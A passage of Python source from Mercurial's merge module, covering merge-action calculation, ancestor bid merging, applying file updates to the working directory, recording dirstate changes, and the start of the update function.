             if copyvalue in relevantfiles:
                 relevantfiles.add(copykey)
         for movedirkey in movewithdir:
             relevantfiles.add(movedirkey)
         filesmatcher = scmutil.matchfiles(repo, relevantfiles)
         matcher = matchmod.intersectmatchers(matcher, filesmatcher)
 
     diff = m1.diff(m2, match=matcher)
 
     actions = {}
     for f, ((n1, fl1), (n2, fl2)) in pycompat.iteritems(diff):
         if n1 and n2:  # file exists on both local and remote side
             if f not in ma:
                 fa = copy.get(f, None)
                 if fa is not None:
                     actions[f] = (
                         ACTION_MERGE,
                         (f, f, fa, False, pa.node()),
                         b'both renamed from %s' % fa,
                     )
                 else:
                     actions[f] = (
                         ACTION_MERGE,
                         (f, f, None, False, pa.node()),
                         b'both created',
                     )
             else:
                 a = ma[f]
                 fla = ma.flags(f)
                 nol = b'l' not in fl1 + fl2 + fla
                 if n2 == a and fl2 == fla:
                     actions[f] = (ACTION_KEEP, (), b'remote unchanged')
                 elif n1 == a and fl1 == fla:  # local unchanged - use remote
                     if n1 == n2:  # optimization: keep local content
                         actions[f] = (
                             ACTION_EXEC,
                             (fl2,),
                             b'update permissions',
                         )
                     else:
                         actions[f] = (
                             ACTION_GET,
                             (fl2, False),
                             b'remote is newer',
                         )
                 elif nol and n2 == a:  # remote only changed 'x'
                     actions[f] = (ACTION_EXEC, (fl2,), b'update permissions')
                 elif nol and n1 == a:  # local only changed 'x'
                     actions[f] = (ACTION_GET, (fl1, False), b'remote is newer')
                 else:  # both changed something
                     actions[f] = (
                         ACTION_MERGE,
                         (f, f, f, False, pa.node()),
                         b'versions differ',
                     )
         elif n1:  # file exists only on local side
             if f in copied:
                 pass  # we'll deal with it on m2 side
             elif f in movewithdir:  # directory rename, move local
                 f2 = movewithdir[f]
                 if f2 in m2:
                     actions[f2] = (
                         ACTION_MERGE,
                         (f, f2, None, True, pa.node()),
                         b'remote directory rename, both created',
                     )
                 else:
                     actions[f2] = (
                         ACTION_DIR_RENAME_MOVE_LOCAL,
                         (f, fl1),
                         b'remote directory rename - move from %s' % f,
                     )
             elif f in copy:
                 f2 = copy[f]
                 actions[f] = (
                     ACTION_MERGE,
                     (f, f2, f2, False, pa.node()),
                     b'local copied/moved from %s' % f2,
                 )
             elif f in ma:  # clean, a different, no remote
                 if n1 != ma[f]:
                     if acceptremote:
                         actions[f] = (ACTION_REMOVE, None, b'remote delete')
                     else:
                         actions[f] = (
                             ACTION_CHANGED_DELETED,
                             (f, None, f, False, pa.node()),
                             b'prompt changed/deleted',
                         )
                 elif n1 == addednodeid:
                     # This extra 'a' is added by working copy manifest to mark
                     # the file as locally added. We should forget it instead of
                     # deleting it.
                     actions[f] = (ACTION_FORGET, None, b'remote deleted')
                 else:
                     actions[f] = (ACTION_REMOVE, None, b'other deleted')
         elif n2:  # file exists only on remote side
             if f in copied:
                 pass  # we'll deal with it on m1 side
             elif f in movewithdir:
                 f2 = movewithdir[f]
                 if f2 in m1:
                     actions[f2] = (
                         ACTION_MERGE,
                         (f2, f, None, False, pa.node()),
                         b'local directory rename, both created',
                     )
                 else:
                     actions[f2] = (
                         ACTION_LOCAL_DIR_RENAME_GET,
                         (f, fl2),
                         b'local directory rename - get from %s' % f,
                     )
             elif f in copy:
                 f2 = copy[f]
                 if f2 in m2:
                     actions[f] = (
                         ACTION_MERGE,
                         (f2, f, f2, False, pa.node()),
                         b'remote copied from %s' % f2,
                     )
                 else:
                     actions[f] = (
                         ACTION_MERGE,
                         (f2, f, f2, True, pa.node()),
                         b'remote moved from %s' % f2,
                     )
             elif f not in ma:
                 # local unknown, remote created: the logic is described by the
                 # following table:
                 #
                 # force  branchmerge  different  |  action
                 #   n         *           *      |   create
                 #   y         n           *      |   create
                 #   y         y           n      |   create
                 #   y         y           y      |   merge
                 #
                 # Checking whether the files are different is expensive, so we
                 # don't do that when we can avoid it.
                 if not force:
                     actions[f] = (ACTION_CREATED, (fl2,), b'remote created')
                 elif not branchmerge:
                     actions[f] = (ACTION_CREATED, (fl2,), b'remote created')
                 else:
                     actions[f] = (
                         ACTION_CREATED_MERGE,
                         (fl2, pa.node()),
                         b'remote created, get or merge',
                     )
             elif n2 != ma[f]:
                 df = None
                 for d in dirmove:
                     if f.startswith(d):
                         # new file added in a directory that was moved
                         df = dirmove[d] + f[len(d) :]
                         break
                 if df is not None and df in m1:
                     actions[df] = (
                         ACTION_MERGE,
                         (df, f, f, False, pa.node()),
                         b'local directory rename - respect move '
                         b'from %s' % f,
                     )
                 elif acceptremote:
                     actions[f] = (ACTION_CREATED, (fl2,), b'remote recreating')
                 else:
                     actions[f] = (
                         ACTION_DELETED_CHANGED,
                         (None, f, f, False, pa.node()),
                         b'prompt deleted/changed',
                     )
 
     if repo.ui.configbool(b'experimental', b'merge.checkpathconflicts'):
         # If we are merging, look for path conflicts.
         checkpathconflicts(repo, wctx, p2, actions)
 
     narrowmatch = repo.narrowmatch()
     if not narrowmatch.always():
         # Updates "actions" in place
         _filternarrowactions(narrowmatch, branchmerge, actions)
 
     return actions, diverge, renamedelete
 
 
 def _resolvetrivial(repo, wctx, mctx, ancestor, actions):
     """Resolves false conflicts where the nodeid changed but the content
        remained the same."""
     # We force a copy of actions.items() because we're going to mutate
     # actions as we resolve trivial conflicts.
     for f, (m, args, msg) in list(actions.items()):
         if (
             m == ACTION_CHANGED_DELETED
             and f in ancestor
             and not wctx[f].cmp(ancestor[f])
         ):
             # local did change but ended up with same content
             actions[f] = ACTION_REMOVE, None, b'prompt same'
         elif (
             m == ACTION_DELETED_CHANGED
             and f in ancestor
             and not mctx[f].cmp(ancestor[f])
         ):
             # remote did change but ended up with same content
             del actions[f]  # don't get = keep local deleted
 
 
 def calculateupdates(
     repo,
     wctx,
     mctx,
     ancestors,
     branchmerge,
     force,
     acceptremote,
     followcopies,
     matcher=None,
     mergeforce=False,
 ):
     """Calculate the actions needed to merge mctx into wctx using ancestors"""
     # Avoid cycle.
     from . import sparse
 
     if len(ancestors) == 1:  # default
         actions, diverge, renamedelete = manifestmerge(
             repo,
             wctx,
             mctx,
             ancestors[0],
             branchmerge,
             force,
             matcher,
             acceptremote,
             followcopies,
         )
         _checkunknownfiles(repo, wctx, mctx, force, actions, mergeforce)
 
     else:  # only when merge.preferancestor=* - the default
         repo.ui.note(
             _(b"note: merging %s and %s using bids from ancestors %s\n")
             % (
                 wctx,
                 mctx,
                 _(b' and ').join(pycompat.bytestr(anc) for anc in ancestors),
             )
         )
 
         # Call for bids
         fbids = (
             {}
         )  # mapping filename to bids (action method to list af actions)
         diverge, renamedelete = None, None
         for ancestor in ancestors:
             repo.ui.note(_(b'\ncalculating bids for ancestor %s\n') % ancestor)
             actions, diverge1, renamedelete1 = manifestmerge(
                 repo,
                 wctx,
                 mctx,
                 ancestor,
                 branchmerge,
                 force,
                 matcher,
                 acceptremote,
                 followcopies,
                 forcefulldiff=True,
             )
             _checkunknownfiles(repo, wctx, mctx, force, actions, mergeforce)
 
             # Track the shortest set of warning on the theory that bid
             # merge will correctly incorporate more information
             if diverge is None or len(diverge1) < len(diverge):
                 diverge = diverge1
             if renamedelete is None or len(renamedelete) < len(renamedelete1):
                 renamedelete = renamedelete1
 
             for f, a in sorted(pycompat.iteritems(actions)):
                 m, args, msg = a
                 repo.ui.debug(b' %s: %s -> %s\n' % (f, msg, m))
                 if f in fbids:
                     d = fbids[f]
                     if m in d:
                         d[m].append(a)
                     else:
                         d[m] = [a]
                 else:
                     fbids[f] = {m: [a]}
 
         # Pick the best bid for each file
         repo.ui.note(_(b'\nauction for merging merge bids\n'))
         actions = {}
         for f, bids in sorted(fbids.items()):
             # bids is a mapping from action method to list af actions
             # Consensus?
             if len(bids) == 1:  # all bids are the same kind of method
                 m, l = list(bids.items())[0]
                 if all(a == l[0] for a in l[1:]):  # len(bids) is > 1
                     repo.ui.note(_(b" %s: consensus for %s\n") % (f, m))
                     actions[f] = l[0]
                     continue
             # If keep is an option, just do it.
             if ACTION_KEEP in bids:
                 repo.ui.note(_(b" %s: picking 'keep' action\n") % f)
                 actions[f] = bids[ACTION_KEEP][0]
                 continue
             # If there are gets and they all agree [how could they not?], do it.
             if ACTION_GET in bids:
                 ga0 = bids[ACTION_GET][0]
                 if all(a == ga0 for a in bids[ACTION_GET][1:]):
                     repo.ui.note(_(b" %s: picking 'get' action\n") % f)
                     actions[f] = ga0
                     continue
             # TODO: Consider other simple actions such as mode changes
             # Handle inefficient democrazy.
             repo.ui.note(_(b' %s: multiple bids for merge action:\n') % f)
             for m, l in sorted(bids.items()):
                 for _f, args, msg in l:
                     repo.ui.note(b'  %s -> %s\n' % (msg, m))
             # Pick random action. TODO: Instead, prompt user when resolving
             m, l = list(bids.items())[0]
             repo.ui.warn(
                 _(b' %s: ambiguous merge - picked %s action\n') % (f, m)
             )
             actions[f] = l[0]
             continue
         repo.ui.note(_(b'end of auction\n\n'))
 
     if wctx.rev() is None:
         fractions = _forgetremoved(wctx, mctx, branchmerge)
         actions.update(fractions)
 
     prunedactions = sparse.filterupdatesactions(
         repo, wctx, mctx, branchmerge, actions
     )
     _resolvetrivial(repo, wctx, mctx, ancestors[0], actions)
 
     return prunedactions, diverge, renamedelete
 
 
 def _getcwd():
     try:
         return encoding.getcwd()
     except OSError as err:
         if err.errno == errno.ENOENT:
             return None
         raise
 
 
 def batchremove(repo, wctx, actions):
     """apply removes to the working directory
 
     yields tuples for progress updates
     """
     verbose = repo.ui.verbose
     cwd = _getcwd()
     i = 0
     for f, args, msg in actions:
         repo.ui.debug(b" %s: %s -> r\n" % (f, msg))
         if verbose:
             repo.ui.note(_(b"removing %s\n") % f)
         wctx[f].audit()
         try:
             wctx[f].remove(ignoremissing=True)
         except OSError as inst:
             repo.ui.warn(
                 _(b"update failed to remove %s: %s!\n") % (f, inst.strerror)
             )
         if i == 100:
             yield i, f
             i = 0
         i += 1
     if i > 0:
         yield i, f
 
     if cwd and not _getcwd():
         # cwd was removed in the course of removing files; print a helpful
         # warning.
         repo.ui.warn(
             _(
                 b"current directory was removed\n"
                 b"(consider changing to repo root: %s)\n"
             )
             % repo.root
         )
 
 
 def batchget(repo, mctx, wctx, wantfiledata, actions):
     """apply gets to the working directory
 
     mctx is the context to get from
 
     Yields arbitrarily many (False, tuple) for progress updates, followed by
     exactly one (True, filedata). When wantfiledata is false, filedata is an
     empty dict. When wantfiledata is true, filedata[f] is a triple (mode, size,
     mtime) of the file f written for each action.
     """
     filedata = {}
     verbose = repo.ui.verbose
     fctx = mctx.filectx
     ui = repo.ui
     i = 0
     with repo.wvfs.backgroundclosing(ui, expectedcount=len(actions)):
         for f, (flags, backup), msg in actions:
             repo.ui.debug(b" %s: %s -> g\n" % (f, msg))
             if verbose:
                 repo.ui.note(_(b"getting %s\n") % f)
 
             if backup:
                 # If a file or directory exists with the same name, back that
                 # up.  Otherwise, look to see if there is a file that conflicts
                 # with a directory this file is in, and if so, back that up.
                 conflicting = f
                 if not repo.wvfs.lexists(f):
                     for p in pathutil.finddirs(f):
                         if repo.wvfs.isfileorlink(p):
                             conflicting = p
                             break
                 if repo.wvfs.lexists(conflicting):
                     orig = scmutil.backuppath(ui, repo, conflicting)
                     util.rename(repo.wjoin(conflicting), orig)
             wfctx = wctx[f]
             wfctx.clearunknown()
             atomictemp = ui.configbool(b"experimental", b"update.atomic-file")
             size = wfctx.write(
                 fctx(f).data(),
                 flags,
                 backgroundclose=True,
                 atomictemp=atomictemp,
             )
             if wantfiledata:
                 s = wfctx.lstat()
                 mode = s.st_mode
                 mtime = s[stat.ST_MTIME]
                 filedata[f] = (mode, size, mtime)  # for dirstate.normal
             if i == 100:
                 yield False, (i, f)
                 i = 0
             i += 1
     if i > 0:
         yield False, (i, f)
     yield True, filedata
 
 
 def _prefetchfiles(repo, ctx, actions):
     """Invoke ``scmutil.prefetchfiles()`` for the files relevant to the dict
     of merge actions.  ``ctx`` is the context being merged in."""
 
     # Skipping 'a', 'am', 'f', 'r', 'dm', 'e', 'k', 'p' and 'pr', because they
     # don't touch the context to be merged in.  'cd' is skipped, because
     # changed/deleted never resolves to something from the remote side.
     oplist = [
         actions[a]
         for a in (
             ACTION_GET,
             ACTION_DELETED_CHANGED,
             ACTION_LOCAL_DIR_RENAME_GET,
             ACTION_MERGE,
         )
     ]
     prefetch = scmutil.prefetchfiles
     matchfiles = scmutil.matchfiles
     prefetch(
         repo,
         [ctx.rev()],
         matchfiles(repo, [f for sublist in oplist for f, args, msg in sublist]),
     )
 
 
 @attr.s(frozen=True)
 class updateresult(object):
     updatedcount = attr.ib()
     mergedcount = attr.ib()
     removedcount = attr.ib()
     unresolvedcount = attr.ib()
 
     def isempty(self):
         return not (
             self.updatedcount
             or self.mergedcount
             or self.removedcount
             or self.unresolvedcount
         )
 
 
 def emptyactions():
     """create an actions dict, to be populated and passed to applyupdates()"""
     return dict(
         (m, [])
         for m in (
             ACTION_ADD,
             ACTION_ADD_MODIFIED,
             ACTION_FORGET,
             ACTION_GET,
             ACTION_CHANGED_DELETED,
             ACTION_DELETED_CHANGED,
             ACTION_REMOVE,
             ACTION_DIR_RENAME_MOVE_LOCAL,
             ACTION_LOCAL_DIR_RENAME_GET,
             ACTION_MERGE,
             ACTION_EXEC,
             ACTION_KEEP,
             ACTION_PATH_CONFLICT,
             ACTION_PATH_CONFLICT_RESOLVE,
         )
     )
 
 
 def applyupdates(
     repo, actions, wctx, mctx, overwrite, wantfiledata, labels=None
 ):
     """apply the merge action list to the working directory
 
     wctx is the working copy context
     mctx is the context to be merged into the working copy
 
     Return a tuple of (counts, filedata), where counts is a tuple
     (updated, merged, removed, unresolved) that describes how many
     files were affected by the update, and filedata is as described in
     batchget.
     """
 
     _prefetchfiles(repo, mctx, actions)
 
     updated, merged, removed = 0, 0, 0
     ms = mergestate.clean(repo, wctx.p1().node(), mctx.node(), labels)
     moves = []
     for m, l in actions.items():
         l.sort()
 
     # 'cd' and 'dc' actions are treated like other merge conflicts
     mergeactions = sorted(actions[ACTION_CHANGED_DELETED])
     mergeactions.extend(sorted(actions[ACTION_DELETED_CHANGED]))
     mergeactions.extend(actions[ACTION_MERGE])
     for f, args, msg in mergeactions:
         f1, f2, fa, move, anc = args
         if f == b'.hgsubstate':  # merged internally
             continue
         if f1 is None:
             fcl = filemerge.absentfilectx(wctx, fa)
         else:
             repo.ui.debug(b" preserving %s for resolve of %s\n" % (f1, f))
             fcl = wctx[f1]
         if f2 is None:
             fco = filemerge.absentfilectx(mctx, fa)
         else:
             fco = mctx[f2]
         actx = repo[anc]
         if fa in actx:
             fca = actx[fa]
         else:
             # TODO: move to absentfilectx
             fca = repo.filectx(f1, fileid=nullrev)
         ms.add(fcl, fco, fca, f)
         if f1 != f and move:
             moves.append(f1)
 
     # remove renamed files after safely stored
     for f in moves:
         if wctx[f].lexists():
             repo.ui.debug(b"removing %s\n" % f)
             wctx[f].audit()
             wctx[f].remove()
 
     numupdates = sum(len(l) for m, l in actions.items() if m != ACTION_KEEP)
     progress = repo.ui.makeprogress(
         _(b'updating'), unit=_(b'files'), total=numupdates
     )
 
     if [a for a in actions[ACTION_REMOVE] if a[0] == b'.hgsubstate']:
         subrepoutil.submerge(repo, wctx, mctx, wctx, overwrite, labels)
 
     # record path conflicts
     for f, args, msg in actions[ACTION_PATH_CONFLICT]:
         f1, fo = args
         s = repo.ui.status
         s(
             _(
                 b"%s: path conflict - a file or link has the same name as a "
                 b"directory\n"
             )
             % f
         )
         if fo == b'l':
             s(_(b"the local file has been renamed to %s\n") % f1)
         else:
             s(_(b"the remote file has been renamed to %s\n") % f1)
         s(_(b"resolve manually then use 'hg resolve --mark %s'\n") % f)
         ms.addpath(f, f1, fo)
         progress.increment(item=f)
 
     # When merging in-memory, we can't support worker processes, so set the
     # per-item cost at 0 in that case.
     cost = 0 if wctx.isinmemory() else 0.001
 
     # remove in parallel (must come before resolving path conflicts and getting)
     prog = worker.worker(
         repo.ui, cost, batchremove, (repo, wctx), actions[ACTION_REMOVE]
     )
     for i, item in prog:
         progress.increment(step=i, item=item)
     removed = len(actions[ACTION_REMOVE])
 
     # resolve path conflicts (must come before getting)
     for f, args, msg in actions[ACTION_PATH_CONFLICT_RESOLVE]:
         repo.ui.debug(b" %s: %s -> pr\n" % (f, msg))
         (f0,) = args
         if wctx[f0].lexists():
             repo.ui.note(_(b"moving %s to %s\n") % (f0, f))
             wctx[f].audit()
             wctx[f].write(wctx.filectx(f0).data(), wctx.filectx(f0).flags())
             wctx[f0].remove()
         progress.increment(item=f)
 
     # get in parallel.
     threadsafe = repo.ui.configbool(
         b'experimental', b'worker.wdir-get-thread-safe'
     )
     prog = worker.worker(
         repo.ui,
         cost,
         batchget,
         (repo, mctx, wctx, wantfiledata),
         actions[ACTION_GET],
         threadsafe=threadsafe,
         hasretval=True,
     )
     getfiledata = {}
     for final, res in prog:
         if final:
             getfiledata = res
         else:
             i, item = res
             progress.increment(step=i, item=item)
     updated = len(actions[ACTION_GET])
 
     if [a for a in actions[ACTION_GET] if a[0] == b'.hgsubstate']:
         subrepoutil.submerge(repo, wctx, mctx, wctx, overwrite, labels)
 
     # forget (manifest only, just log it) (must come first)
     for f, args, msg in actions[ACTION_FORGET]:
         repo.ui.debug(b" %s: %s -> f\n" % (f, msg))
         progress.increment(item=f)
 
     # re-add (manifest only, just log it)
     for f, args, msg in actions[ACTION_ADD]:
         repo.ui.debug(b" %s: %s -> a\n" % (f, msg))
         progress.increment(item=f)
 
     # re-add/mark as modified (manifest only, just log it)
     for f, args, msg in actions[ACTION_ADD_MODIFIED]:
         repo.ui.debug(b" %s: %s -> am\n" % (f, msg))
         progress.increment(item=f)
 
     # keep (noop, just log it)
     for f, args, msg in actions[ACTION_KEEP]:
         repo.ui.debug(b" %s: %s -> k\n" % (f, msg))
         # no progress
 
     # directory rename, move local
     for f, args, msg in actions[ACTION_DIR_RENAME_MOVE_LOCAL]:
         repo.ui.debug(b" %s: %s -> dm\n" % (f, msg))
         progress.increment(item=f)
         f0, flags = args
         repo.ui.note(_(b"moving %s to %s\n") % (f0, f))
         wctx[f].audit()
         wctx[f].write(wctx.filectx(f0).data(), flags)
         wctx[f0].remove()
         updated += 1
 
     # local directory rename, get
     for f, args, msg in actions[ACTION_LOCAL_DIR_RENAME_GET]:
         repo.ui.debug(b" %s: %s -> dg\n" % (f, msg))
         progress.increment(item=f)
         f0, flags = args
         repo.ui.note(_(b"getting %s to %s\n") % (f0, f))
         wctx[f].write(mctx.filectx(f0).data(), flags)
         updated += 1
 
     # exec
     for f, args, msg in actions[ACTION_EXEC]:
         repo.ui.debug(b" %s: %s -> e\n" % (f, msg))
         progress.increment(item=f)
         (flags,) = args
         wctx[f].audit()
         wctx[f].setflags(b'l' in flags, b'x' in flags)
         updated += 1
 
     # the ordering is important here -- ms.mergedriver will raise if the merge
     # driver has changed, and we want to be able to bypass it when overwrite is
     # True
     usemergedriver = not overwrite and mergeactions and ms.mergedriver
 
     if usemergedriver:
         if wctx.isinmemory():
             raise error.InMemoryMergeConflictsError(
                 b"in-memory merge does not support mergedriver"
             )
         ms.commit()
         proceed = driverpreprocess(repo, ms, wctx, labels=labels)
         # the driver might leave some files unresolved
         unresolvedf = set(ms.unresolved())
         if not proceed:
             # XXX setting unresolved to at least 1 is a hack to make sure we
             # error out
             return updateresult(
                 updated, merged, removed, max(len(unresolvedf), 1)
             )
         newactions = []
         for f, args, msg in mergeactions:
             if f in unresolvedf:
                 newactions.append((f, args, msg))
         mergeactions = newactions
 
     try:
         # premerge
         tocomplete = []
         for f, args, msg in mergeactions:
             repo.ui.debug(b" %s: %s -> m (premerge)\n" % (f, msg))
             progress.increment(item=f)
             if f == b'.hgsubstate':  # subrepo states need updating
                 subrepoutil.submerge(
                     repo, wctx, mctx, wctx.ancestor(mctx), overwrite, labels
                 )
                 continue
             wctx[f].audit()
             complete, r = ms.preresolve(f, wctx)
             if not complete:
                 numupdates += 1
                 tocomplete.append((f, args, msg))
 
         # merge
         for f, args, msg in tocomplete:
             repo.ui.debug(b" %s: %s -> m (merge)\n" % (f, msg))
             progress.increment(item=f, total=numupdates)
             ms.resolve(f, wctx)
 
     finally:
         ms.commit()
 
     unresolved = ms.unresolvedcount()
 
     if (
         usemergedriver
         and not unresolved
         and ms.mdstate() != MERGE_DRIVER_STATE_SUCCESS
     ):
         if not driverconclude(repo, ms, wctx, labels=labels):
             # XXX setting unresolved to at least 1 is a hack to make sure we
             # error out
             unresolved = max(unresolved, 1)
 
         ms.commit()
 
     msupdated, msmerged, msremoved = ms.counts()
     updated += msupdated
     merged += msmerged
     removed += msremoved
 
     extraactions = ms.actions()
     if extraactions:
         mfiles = set(a[0] for a in actions[ACTION_MERGE])
         for k, acts in pycompat.iteritems(extraactions):
             actions[k].extend(acts)
             if k == ACTION_GET and wantfiledata:
                 # no filedata until mergestate is updated to provide it
                 for a in acts:
                     getfiledata[a[0]] = None
             # Remove these files from actions[ACTION_MERGE] as well. This is
             # important because in recordupdates, files in actions[ACTION_MERGE]
             # are processed after files in other actions, and the merge driver
             # might add files to those actions via extraactions above. This can
             # lead to a file being recorded twice, with poor results. This is
             # especially problematic for actions[ACTION_REMOVE] (currently only
             # possible with the merge driver in the initial merge process;
             # interrupted merges don't go through this flow).
             #
             # The real fix here is to have indexes by both file and action so
             # that when the action for a file is changed it is automatically
             # reflected in the other action lists. But that involves a more
             # complex data structure, so this will do for now.
             #
             # We don't need to do the same operation for 'dc' and 'cd' because
             # those lists aren't consulted again.
             mfiles.difference_update(a[0] for a in acts)
 
         actions[ACTION_MERGE] = [
             a for a in actions[ACTION_MERGE] if a[0] in mfiles
         ]
 
     progress.complete()
     assert len(getfiledata) == (len(actions[ACTION_GET]) if wantfiledata else 0)
     return updateresult(updated, merged, removed, unresolved), getfiledata
 
 
 def recordupdates(repo, actions, branchmerge, getfiledata):
     """record merge actions to the dirstate"""
     # remove (must come first)
     for f, args, msg in actions.get(ACTION_REMOVE, []):
         if branchmerge:
             repo.dirstate.remove(f)
         else:
             repo.dirstate.drop(f)
 
     # forget (must come first)
     for f, args, msg in actions.get(ACTION_FORGET, []):
         repo.dirstate.drop(f)
 
     # resolve path conflicts
     for f, args, msg in actions.get(ACTION_PATH_CONFLICT_RESOLVE, []):
         (f0,) = args
         origf0 = repo.dirstate.copied(f0) or f0
         repo.dirstate.add(f)
         repo.dirstate.copy(origf0, f)
         if f0 == origf0:
             repo.dirstate.remove(f0)
         else:
             repo.dirstate.drop(f0)
 
     # re-add
     for f, args, msg in actions.get(ACTION_ADD, []):
         repo.dirstate.add(f)
 
     # re-add/mark as modified
     for f, args, msg in actions.get(ACTION_ADD_MODIFIED, []):
         if branchmerge:
             repo.dirstate.normallookup(f)
         else:
             repo.dirstate.add(f)
 
     # exec change
     for f, args, msg in actions.get(ACTION_EXEC, []):
         repo.dirstate.normallookup(f)
 
     # keep
     for f, args, msg in actions.get(ACTION_KEEP, []):
         pass
 
     # get
     for f, args, msg in actions.get(ACTION_GET, []):
         if branchmerge:
             repo.dirstate.otherparent(f)
         else:
             parentfiledata = getfiledata[f] if getfiledata else None
             repo.dirstate.normal(f, parentfiledata=parentfiledata)
 
     # merge
     for f, args, msg in actions.get(ACTION_MERGE, []):
         f1, f2, fa, move, anc = args
         if branchmerge:
             # We've done a branch merge, mark this file as merged
             # so that we properly record the merger later
             repo.dirstate.merge(f)
             if f1 != f2:  # copy/rename
                 if move:
                     repo.dirstate.remove(f1)
                 if f1 != f:
                     repo.dirstate.copy(f1, f)
                 else:
                     repo.dirstate.copy(f2, f)
         else:
             # We've update-merged a locally modified file, so
             # we set the dirstate to emulate a normal checkout
             # of that file some time in the past. Thus our
             # merge will appear as a normal local file
             # modification.
             if f2 == f:  # file not locally copied/moved
                 repo.dirstate.normallookup(f)
             if move:
                 repo.dirstate.drop(f1)
 
     # directory rename, move local
     for f, args, msg in actions.get(ACTION_DIR_RENAME_MOVE_LOCAL, []):
         f0, flag = args
         if branchmerge:
             repo.dirstate.add(f)
             repo.dirstate.remove(f0)
             repo.dirstate.copy(f0, f)
         else:
             repo.dirstate.normal(f)
             repo.dirstate.drop(f0)
 
     # directory rename, get
     for f, args, msg in actions.get(ACTION_LOCAL_DIR_RENAME_GET, []):
         f0, flag = args
         if branchmerge:
             repo.dirstate.add(f)
             repo.dirstate.copy(f0, f)
         else:
             repo.dirstate.normal(f)
 
 
 UPDATECHECK_ABORT = b'abort'  # handled at higher layers
 UPDATECHECK_NONE = b'none'
 UPDATECHECK_LINEAR = b'linear'
 UPDATECHECK_NO_CONFLICT = b'noconflict'
 
 
 def update(
     repo,
     node,
     branchmerge,
     force,
     ancestor=None,
     mergeancestor=False,
     labels=None,
     matcher=None,
     mergeforce=False,
     updatecheck=None,
     wc=None,
 ):
     """
     Perform a merge between the working directory and the given node
 
     node = the node to update to
     branchmerge = whether to merge between branches
     force = whether to force branch merging or file overwriting
     matcher = a matcher to filter file lists (dirstate not updated)
     mergeancestor = whether it is merging with an ancestor. If true,
       we should accept the incoming changes for any prompts that occur.
       If false, merging with an ancestor (fast-forward) is only allowed
       between different named branches. This flag is used by rebase extension
       as a temporary fix and should be avoided in general.
     labels = labels to use for base, local and other
     mergeforce = whether the merge was run with 'merge --force' (deprecated): if
       this is True, then 'force' should be True as well.
 
     The table below shows all the behaviors of the update command given the
     -c/--check and -C/--clean or no options, whether the working directory is
     dirty, whether a revision is specified, and the relationship of the parent
     rev to the target rev (linear or not). Match from top first. The -n
     option doesn't exist on the command line, but represents the
     experimental.updatecheck=noconflict option.
 
     This logic is tested by test-update-branches.t.
 
     -c  -C  -n  -m  dirty  rev  linear  |  result
      y   y   *   *    *     *     *     |    (1)
      y   *   y   *    *     *     *     |    (1)
      y   *   *   y    *     *     *     |    (1)
      *   y   y   *    *     *     *     |    (1)
      *   y   *   y    *     *     *     |    (1)
      *   *   y   y    *     *     *     |    (1)
      *   *   *   *    *     n     n     |     x
      *   *   *   *    n     *     *     |    ok
      n   n   n   n    y     *     y     |   merge
      n   n   n   n    y     y     n     |    (2)
      n   n   n   y    y     *     *     |   merge
      n   n   y   n    y     *     *     |  merge if no conflict
      n   y   n   n    y     *     *     |  discard
      y   n   n   n    y     *     *     |    (3)
 
     x = can't happen
     * = don't-care
     1 = incompatible options (checked in commands.py)
     2 = abort: uncommitted changes (commit or update --clean to discard changes)
     3 = abort: uncommitted changes (checked in commands.py)
 
     The merge is performed inside ``wc``, a workingctx-like objects. It defaults
     to repo[None] if None is passed.
 
     Return the same tuple as applyupdates().
     """
     # Avoid cycle.
     from . import sparse
 
     # This function used to find the default destination if node was None, but
     # that's now in destutil.py.
     assert node is not None
     if not branchmerge and not force:
         # TODO: remove the default once all callers that pass branchmerge=False
         # and force=False pass a value for updatecheck. We may want to allow
         # updatecheck='abort' to better suppport some of these callers.
         if updatecheck is None:
             updatecheck = UPDATECHECK_LINEAR
         if updatecheck not in (
             UPDATECHECK_NONE,
             UPDATECHECK_LINEAR,
             UPDATECHECK_NO_CONFLICT,
         ):
             raise ValueError(
                 r'Invalid updatecheck %r (can accept %r)'
                 % (
                     updatecheck,
                     (
                         UPDATECHECK_NONE,
                         UPDATECHECK_LINEAR,
                         UPDATECHECK_NO_CONFLICT,
                     ),
                 )
             )
     # If we're doing a partial update, we need to skip updating
     # the dirstate, so make a note of any partial-ness to the
     # update here.
     if matcher is None or matcher.always():
         partial = False
     else:
         partial = True
     with repo.wlock():
         if wc is None:
             wc = repo[None]
         pl = wc.parents()
         p1 = pl[0]
         p2 = repo[node]
         if ancestor is not None:
             pas = [repo[ancestor]]
         else:
             if repo.ui.configlist(b'merge', b'preferancestor') == [b'*']:
                 cahs = repo.changelog.commonancestorsheads(p1.node(), p2.node())
                 pas = [repo[anc] for anc in (sorted(cahs) or [nullid])]
             else:
                 pas = [p1.ancestor(p2, warn=branchmerge)]
 
         fp1, fp2, xp1, xp2 = p1.node(), p2.node(), bytes(p1), bytes(p2)
 
         overwrite = force and not branchmerge
         ### check phase
         if not overwrite:
             if len(pl) > 1:
                 raise error.Abort(_(b"outstanding uncommitted merge"))
             ms = mergestate.read(repo)
             if list(ms.unresolved()):
                 raise error.Abort(
                     _(b"outstanding merge conflicts"),
                     hint=_(b"use 'hg resolve' to resolve"),
                 )
         if branchmerge:
             if pas == [p2]:
                 raise error.Abort(
                     _(
                         b"merging with a working directory ancestor"
                         b" has no effect"
                     )
                 )
             elif pas == [p1]:
                 if not mergeancestor and wc.branch() == p2.branch():
                     raise error.Abort(
                         _(b"nothing to merge"),
                         hint=_(b"use 'hg update' or check 'hg heads'"),
                     )
             if not force and (wc.files() or wc.deleted()):
                 raise error.Abort(
                     _(b"uncommitted changes"),
                     hint=_(b"use 'hg status' to list changes"),
                 )
             if not wc.isinmemory():
                 for s in sorted(wc.substate):
                     wc.sub(s).bailifchanged()
 
         elif not overwrite:
             if p1 == p2:  # no-op update
                 # call the hooks and exit early
                 repo.hook(b'preupdate', throw=True, parent1=xp2, parent2=b'')
                 repo.hook(b'update', parent1=xp2, parent2=b'', error=0)
                 return updateresult(0, 0, 0, 0)
 
             if updatecheck == UPDATECHECK_LINEAR and pas not in (
                 [p1],
                 [p2],
             ):  # nonlinear
                 dirty = wc.dirty(missing=True)
                 if dirty:
                     # Branching is a bit strange to ensure we do the minimal
                     # amount of call to obsutil.foreground.
                     foreground = obsutil.foreground(repo, [p1.node()])
                     # note: the <node> variable contains a random identifier
                     if repo[node].node() in foreground:
                         pass  # allow updating to successors
                     else:
                         msg = _(b"uncommitted changes")
                         hint = _(b"commit or update --clean to discard changes")
                         raise error.UpdateAbort(msg, hint=hint)
                 else:
                     # Allow jumping branches if clean and specific rev given
                     pass
 
         if overwrite:
             pas = [wc]
         elif not branchmerge:
             pas = [p1]
 
         # deprecated config: merge.followcopies
